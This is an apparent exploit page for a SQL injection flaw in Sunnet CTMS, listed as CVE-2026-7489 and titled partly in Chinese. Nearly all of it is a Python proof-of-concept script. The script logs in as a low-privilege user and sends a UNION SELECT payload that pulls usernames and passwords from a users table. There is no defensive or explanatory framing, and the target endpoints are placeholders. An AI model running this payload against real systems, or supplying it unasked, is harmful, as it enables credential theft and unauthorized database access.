CVE-2026-7489 Sunnet CTMS SQL注入漏洞

import requests # Exploit Title: Sunnet CTMS SQL Injection PoC # CVE: CVE-2026-7489 target_url = "http://target-ip/vulnerable_endpoint" login_url = "http://target-ip/login" # Attacker credentials (low privilege) payload = { "username": "attacker", "password": "password", "vulnerable_param": "1' UNION SELECT NULL, username, password FROM users-- " } session = requests.Session() # Step 1: Login to get authenticated session login_data = {"user": "attacker", "pass": "password"} session.post(login_url, data=login_data) # Step 2: Send malicious payload response = session.post(target_url, data=payload) if "admin" in response.text: print("[+] SQL Injection successful! Data extracted.") print(response.text) else: print("[-] Exploit failed.")